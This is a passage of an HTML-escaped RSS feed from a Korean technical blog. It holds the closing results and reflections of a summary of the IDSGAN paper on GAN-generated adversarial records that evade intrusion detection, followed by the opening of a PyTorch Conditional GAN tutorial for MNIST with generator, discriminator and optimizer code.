&lt;p data-ke-size=&quot;size16&quot;&gt;이는&amp;nbsp;모든&amp;nbsp;ML&amp;nbsp;모델에&amp;nbsp;상관없이&amp;nbsp;공통적으로&amp;nbsp;발생하였다.&amp;nbsp;(b)&amp;nbsp;에서&amp;nbsp;역시&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있듯이,&amp;nbsp;U2R&amp;nbsp;/&amp;nbsp;R2L&amp;nbsp;공격&amp;nbsp;카테고리의&amp;nbsp;경우에도&amp;nbsp;원래&amp;nbsp;DR에&amp;nbsp;비해&amp;nbsp;adversarial&amp;nbsp;examples의&amp;nbsp;DR은&amp;nbsp;모두&amp;nbsp;0에&amp;nbsp;수렴하는&amp;nbsp;것을&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1420&quot; data-origin-height=&quot;594&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uxtFE/btrwnBI6UH7/NAekf5PCXQZDKJLviVy7u0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uxtFE/btrwnBI6UH7/NAekf5PCXQZDKJLviVy7u0/img.png&quot; data-alt=&quot;[그림 8]&amp;amp;amp;nbsp; DR result&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uxtFE/btrwnBI6UH7/NAekf5PCXQZDKJLviVy7u0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuxtFE%2FbtrwnBI6UH7%2FNAekf5PCXQZDKJLviVy7u0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;642&quot; height=&quot;269&quot; data-origin-width=&quot;1420&quot; data-origin-height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 8]&amp;amp;nbsp; DR result&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;3.2.&amp;nbsp;Measurement&amp;nbsp;of&amp;nbsp;IDSGAN&amp;nbsp;with&amp;nbsp;different&amp;nbsp;amounts&amp;nbsp;of&amp;nbsp;modified&amp;nbsp;features&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 ML 모델에 대하여 unmodified 된 nonfunctional feature를 추가할 경우, 즉 처음 생성된 adversarial attack record에 비해 덜 바꿀 경우, EIR 의 변화는 [그림 9]과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1402&quot; data-origin-height=&quot;554&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bimxMS/btrwpu41WDG/kKxAtAycxmcElkQkGLqEl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bimxMS/btrwpu41WDG/kKxAtAycxmcElkQkGLqEl1/img.png&quot; data-alt=&quot;[그림 9] EIR result&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bimxMS/btrwpu41WDG/kKxAtAycxmcElkQkGLqEl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbimxMS%2Fbtrwpu41WDG%2FkKxAtAycxmcElkQkGLqEl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;668&quot; height=&quot;264&quot; data-origin-width=&quot;1402&quot; data-origin-height=&quot;554&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 9] EIR result&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;전체적으로&amp;nbsp;original&amp;nbsp;record에&amp;nbsp;비해&amp;nbsp;덜&amp;nbsp;바꿀&amp;nbsp;경우&amp;nbsp;EIR은&amp;nbsp;줄어들지만&amp;nbsp;여전히&amp;nbsp;98%&amp;nbsp;이상의&amp;nbsp;높은&amp;nbsp;EIR&amp;nbsp;를&amp;nbsp;유지하는&amp;nbsp;것을&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있다.&amp;nbsp;이는&amp;nbsp;IDSGAN의&amp;nbsp;robustness를&amp;nbsp;잘&amp;nbsp;보여주는&amp;nbsp;결과이다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;4.&amp;nbsp;Conclusions&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;IDS를&amp;nbsp;우회하는&amp;nbsp;adversarial&amp;nbsp;attacks를&amp;nbsp;생성하기&amp;nbsp;위해&amp;nbsp;IDSGAN이라는&amp;nbsp;Wassersteing&amp;nbsp;GAN&amp;nbsp;기반의&amp;nbsp;새로운&amp;nbsp;프레임워크를&amp;nbsp;제안하였다.&amp;nbsp;IDSGAN은&amp;nbsp;generator,&amp;nbsp;discriminator과&amp;nbsp;black-box IDS로 구성되어있으며, 실험 결과 생성된 adversarial examples들은 기존의 IDS 시스템을 거의 100% bypass 하는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 기존의 record에서 크게 많은 것을 바꾸지 않더라도 EIR이 어느 정도 유지되는 것을 통해 IDSGAN의 robustness를 잘 보여주었다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;5. 마무리&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GAN을 이용해 blax-box 형태의 IDS, 즉 detection system을 우회할 수 있는 데이터를 생성할 수 있다는 점이 인상깊었다. 특히 기존의 GAN 모델과 다르게 labeling을 IDS system 을 통해 함으로써 Discriminator를 최대한 IDS를 모방하는 방향으로 학습시켜 해당 IDS를 우회할 수 있도록 한 아이디어가 독특했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀 찾아보니 향후에 이런 시스템을 사용하는 연구들이 많이 나왔던데, 그러한 연구들의 토대가 되었다는 점에서 의미가 크다고 생각이 든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #666666;&quot;&gt;&lt;b&gt;Reference&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #222222;&quot;&gt;Lin, Zilong, Yong Shi, and Zhi Xue. &quot;Idsgan: Generative adversarial networks for attack generation against intrusion detection.&quot;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;i&gt;arXiv preprint arXiv:1809.02077&lt;/i&gt;&lt;span style=&quot;background-color: #ffffff; color: #222222;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(2018).&lt;/span&gt;&lt;/p&gt;</description>
      <category>논문</category>
      <category>gan</category>
      <category>IDS</category>
      <category>IDSGAN</category>
      <author>dong1</author>
      <guid isPermaLink="true">https://ddongwon.tistory.com/127</guid>
      <comments>https://ddongwon.tistory.com/127#entry127comment</comments>
      <pubDate>Mon, 21 Mar 2022 00:36:31 +0900</pubDate>
    </item>
    <item>
      <title>[Pytorch] Conditional GAN 구현 및 학습 (CGAN)</title>
      <link>https://ddongwon.tistory.com/126</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;a href=&quot;https://github.com/godeastone/GAN-torch&quot;&gt;https://github.com/godeastone/GAN-torch&lt;/a&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pytorch 로 구현한 CGAN 전체 코드는 위 git repository에서 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2. Conditional GAN&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Conditional GAN (CGAN)은 GAN이 처음 제안된 연도인 2014년 Mehdi Mirza, Simon Osindero 에 의해 제안된 GAN 의 변종 알고리즘이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 링크에서 논문 확인이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://arxiv.org/abs/1411.1784&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://arxiv.org/abs/1411.1784&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1647632986791&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Conditional Generative Adversarial Nets&quot; data-og-description=&quot;Generative Adversarial Nets [8] were recently introduced as a novel way to train generative models. In this work we introduce the conditional version of generative adversarial nets, which can be constructed by simply feeding the data, y, we wish to conditi&quot; data-og-host=&quot;arxiv.org&quot; data-og-source-url=&quot;https://arxiv.org/abs/1411.1784&quot; data-og-url=&quot;https://arxiv.org/abs/1411.1784v1&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/CvU5z/hyNJ4zne3d/9k9LmVhXTWuf4VCcxZ3vZk/img.png?width=1000&amp;amp;height=1000&amp;amp;face=0_0_1000_1000&quot;&gt;&lt;a href=&quot;https://arxiv.org/abs/1411.1784&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://arxiv.org/abs/1411.1784&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/CvU5z/hyNJ4zne3d/9k9LmVhXTWuf4VCcxZ3vZk/img.png?width=1000&amp;amp;height=1000&amp;amp;face=0_0_1000_1000');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Conditional Generative Adversarial Nets&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Generative Adversarial Nets [8] were recently introduced as a novel way to train generative models. In this work we introduce the conditional version of generative adversarial nets, which can be constructed by simply feeding the data, y, we wish to conditi&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;arxiv.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Conditional GAN의 목적은 분명하다. &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Condition&lt;/b&gt;&lt;/span&gt; 이라는 조건을 나타내는 변수를 추가함으로써 데이터 생성을 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;'내 입맛대로'&lt;/b&gt; &lt;/span&gt;할 수 있도록 한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Conditional GAN은 [그림 1]과 같이 기존의 GAN 모델에서 단 하나, &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;y&lt;/b&gt;&lt;/span&gt; 라는 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;condition&lt;/b&gt;&lt;/span&gt; 값이 추가되었다. 이 y 값은 Generator와 Discriminator의 Input값에 들어갈 때, 단순히 이어붙여주면 된다. (매우 간단)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1059&quot; data-origin-height=&quot;887&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/07S91/btrwpjHdIqJ/nQkKEq6kcNzABIrGo4Zwf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/07S91/btrwpjHdIqJ/nQkKEq6kcNzABIrGo4Zwf1/img.png&quot; data-alt=&quot;[그림 1] Condtional GAN 구조&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/07S91/btrwpjHdIqJ/nQkKEq6kcNzABIrGo4Zwf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F07S91%2FbtrwpjHdIqJ%2FnQkKEq6kcNzABIrGo4Zwf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;484&quot; height=&quot;405&quot; data-origin-width=&quot;1059&quot; data-origin-height=&quot;887&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] Condtional GAN 구조&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 MNIST 데이터셋을 GAN모델으로 학습하고 생성한다고 생각해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어느정도 Generator 가 생성되었을 때, 하나의 데이터를 샘플링해보면 그 데이터 샘플은 분명 그럴듯한 숫자 모양을 하고 있을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만, 그 숫자가 무슨 label에 해당하는 숫자인지는 까보기 전까지 구현한 사람도, 샘플링한 사람도 알지 못한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 Condtional gan을 통해 이러한 문제를 해결할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;학습 과정에서 숫자 0에 해당하는 데이터를 학습시킬때 latent 벡터 z 옆에 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;condition 변수&lt;/b&gt; &lt;b&gt;[1, 0, 0, 0, 0, 0, 0, 0, 0, 0]&lt;/b&gt;&lt;/span&gt; 를 이어붙여줘보자. (MNIST는 숫자이므로 총 10개의 label이 있고 이를 one-hot encoding 하여 벡터로 나타내주었다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한, Generator를 통해 학습시킨 값 G(z)를 Discriminator에 넣어줄때도 동일하게 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;condition 변수 [1, 0, ..., 0]&lt;/b&gt;&lt;/span&gt; 을 이어붙여준채로 학습을 시켜보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마찬가지로 만약 2라는 데이터를 학습시킬때는 z 벡터와 G(z) 값 뒤에 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;condition 변수 [0, 0, 1, 0, 0, 0, 0, 0, 0, 0] &lt;/b&gt;&lt;/span&gt;를 붙여주면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 학습시킬 경우, 나중에 학습 과정이 끝나고 샘플링 할때 G(z)에서 z 뒤에 자신이 원하는 label에 해당하는 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;condition 변수&lt;/b&gt;&lt;/span&gt;를 이어붙여준다면, 자신이 원하는 label에 해당하는 샘플을 얻어낼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 한마디로 정리해보면, GAN 학습과정에서 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;y&lt;/b&gt;&lt;/span&gt;라는 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;condition 변수&lt;/b&gt;&lt;/span&gt;를 추가함으로써 자신이 원하는 label의 데이터를 생산해낼 수 있도록 만든 GAN 모델. 이라고 보면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 단순해서인지 Conditional GAN의 loss 함수도 [그림 2] 에서 볼 수 있듯이 그냥 GAN 함수에 비해 단지 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;y&lt;/b&gt;&lt;/span&gt; 를 조건부 확률로 추가해준 것 밖에는 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1298&quot; data-origin-height=&quot;92&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHRMey/btr3GRTGHR2/smo5qB3vYWVUgEPglJ02d0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHRMey/btr3GRTGHR2/smo5qB3vYWVUgEPglJ02d0/img.png&quot; data-alt=&quot;[그림 2] Conditional GAN loss function&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHRMey/btr3GRTGHR2/smo5qB3vYWVUgEPglJ02d0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHRMey%2Fbtr3GRTGHR2%2Fsmo5qB3vYWVUgEPglJ02d0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1298&quot; height=&quot;92&quot; data-origin-width=&quot;1298&quot; data-origin-height=&quot;92&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 2] Conditional GAN loss function&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이외에도 논문을 보면, image 데이터를 CNN 연산하여 나온 fc layer를 condition으로 주고, 해당 사진을 설명하는 tag를 생성해낼 수 있는 모델도 확인해볼 수 있으니, 직접 논문을 읽어보는 것을 권장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3. 구현&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이제 CGAN을 어떻게 구현할 수 있을지 코드를 보며 이해해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1647633646210&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Discriminator(nn.Module):
    def __init__(self):
        super(Discriminator, self).__init__()

        self.linear1 = nn.Linear(img_size + condition_size, hidden_size3)
        self.linear2 = nn.Linear(hidden_size3, hidden_size2)
        self.linear3 = nn.Linear(hidden_size2, hidden_size1)
        self.linear4 = nn.Linear(hidden_size1, 1)
        self.leaky_relu = nn.LeakyReLU(0.2)
        self.sigmoid = nn.Sigmoid()

    def forward(self, x):
        x = self.leaky_relu(self.linear1(x))
        x = self.leaky_relu(self.linear2(x))
        x = self.leaky_relu(self.linear3(x))
        x = self.linear4(x)
        x = self.sigmoid(x)
        return x&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;Discriminator&lt;/b&gt;&lt;/span&gt;는 위와 같이 정의할 수 있다. 일반적인 multi layer neural network로 구성되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;총 4개의 Linear layer로 구성되어 있는데, 첫번째 layer에서는 MNIST 이미지 사이즈 (1 x 28 x 28 = 784)에 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;condition 변수&lt;/b&gt;&lt;/span&gt;의 크기 (condition_size)를 더한 값을 입력받고, 마지막 레이어에서는 classification을 위해 1개의 노드로 정리된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 레이어 사이에는 activation function으로 leaky ReLU 함수가 사용되었으며, 마지막에는 확률로 표현하기 위해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;sigmoid&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;함수가 사용되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GAN과 다른점은 Input의 크기가&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt; condition 변수&lt;/b&gt;&lt;/span&gt;의 크기만큼 더해졌다는 것밖에 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1647633759789&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Generator(nn.Module):
    def __init__(self):
        super(Generator, self).__init__()

        self.linear1 = nn.Linear(noise_size + condition_size, hidden_size1)
        self.linear2 = nn.Linear(hidden_size1, hidden_size2)
        self.linear3 = nn.Linear(hidden_size2, hidden_size3)
        self.linear4 = nn.Linear(hidden_size3, img_size)
        self.relu = nn.ReLU()
        self.tanh = nn.Tanh()

    def forward(self, x):
        x = self.relu(self.linear1(x))
        x = self.relu(self.linear2(x))
        x = self.relu(self.linear3(x))
        x = self.linear4(x)
        x = self.tanh(x)
        return x&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;Generator&lt;/b&gt;&lt;/span&gt;는 Discriminator와 반대로 구성되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 총 4개의 Linear layer로 구성되어 있으며, 입력값으로 noise vector 'z'의 크기에 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;condition 변수&lt;/b&gt;&lt;/span&gt;의 크기 (condition_size)를 더한 Input 값이 들어가고, 마지막 layer에서는 실제 MNIST 데이터의 크기 (1 x 28 x 28 = 784) 개의 노드로 정리된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 layer 사이에는 activation function으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;ReLU&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;함수가 사용되었으며, 마지막 layer 에는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;tanh&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;함수가 사용되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Gnenrator 역시 GAN과 다른점은 Input의 크기가 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;condition 변수&lt;/b&gt;&lt;/span&gt;의 크기만큼 더해졌다는 것밖에 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지 학습 과정은 GAN과 진짜 똑같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1647633885887&quot; class=&quot;reasonml&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;criterion = nn.BCELoss()
d_optimizer = torch.optim.Adam(discriminator.parameters(), lr=learning_rate)
g_optimizer = torch.optim.Adam(generator.parameters(), lr=learning_rate)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GAN과 마찬가지로 학습에는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;BCELoss&lt;/b&gt;&lt;/span&gt;를 사용하였으며,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;Adam &lt;/b&gt;&lt;/span&gt;optimizer를 사용하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GAN 에서도 강조했듯이, genrator와 discriminator는 서로 따로따로 학습되므로 각각 optimizer를 구분지어 정의해주어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
